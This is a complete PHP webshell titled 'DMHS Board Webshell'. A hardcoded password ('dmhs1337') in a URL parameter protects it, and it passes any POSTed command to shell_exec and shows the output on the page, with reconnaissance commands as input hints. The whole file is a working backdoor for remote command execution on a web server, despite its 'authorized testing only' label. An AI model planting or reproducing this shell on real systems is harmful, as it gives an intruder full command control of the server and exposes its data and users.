<?php
$pass = 'dmhs1337';
if (!isset($_GET['p']) || $_GET['p'] !== $pass) {
    http_response_code(403);
    die('Access Denied');
}

echo "<pre><b>DMHS Board Webshell - Authorized Test</b>\n";
echo "Server : " . $_SERVER['SERVER_NAME'] . "\n";
echo "Path   : " . getcwd() . "\n\n";

if (isset($_POST['cmd']) && !empty($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    echo "<b>Command:</b> " . htmlspecialchars($cmd) . "\n\n";
    echo "<b>Output:</b>\n";
    $output = shell_exec($cmd . " 2>&1");
    echo htmlspecialchars($output ?: "No output or command failed.");
} else {
    echo "Webshell is ready. Enter command below.\n";
}
?>
<!DOCTYPE html>
<html>
<head><title>DMHS Webshell</title></head>
<body>
<form method="POST">
    <input type="text" name="cmd" size="90" placeholder="id; whoami; ls -la; uname -a" autofocus>
    <input type="submit" value="Execute Command">
</form>
<hr>
<small>Password protected • Authorized testing only</small>
</body>
</html>
